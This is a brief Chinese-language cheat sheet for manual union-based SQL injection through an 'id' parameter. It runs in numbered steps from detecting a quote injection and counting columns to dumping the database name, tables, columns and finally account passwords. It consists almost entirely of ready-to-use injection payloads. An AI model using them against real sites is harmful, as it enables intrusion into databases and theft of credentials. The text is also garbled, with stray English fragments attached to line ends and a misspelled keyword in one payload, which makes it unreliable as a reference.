id=1’ 异常数据库
id=1’ and 1=1%23 正确spa
id=1’ and 1=2%23 错误orm
说明存在单引号字符型SQL注入io
都错误的话,能够尝试数字型,双引号,括号型table
2.求列数form
id = 1 order by 4%23 正常select
Id = 1 order by 5%23异常nio
说明有4列 密码
格式 id = 1 order by 数字%23数据
3.求显示位
id = 1 and 1=2 union selcet 1,2,3,4%23 有几列就到几
以后去找看看那里替换了1,2,3,4中的哪个
4.求数据库
找出替换了的那一位 以后用database() 替换掉数字位 即可得出数据库
假如2变了 就能够用2替换
Id=1 and 1=2 union select 1,database(),3,4%23
会根据这个爆出数据库。
5.求表名
id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='数据库名'%23
求出的各个表的名字
(table_name)改成(0x23,table_name) 能够用#将表名分开
6.求列名
id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='数据库名' and table_name = '表名’%23
7.求字段内容
id=2 union select 1,2,group_concat(需列,0x23,需列),4 from 数据库名.表名%23
即爆出须要的帐户密码了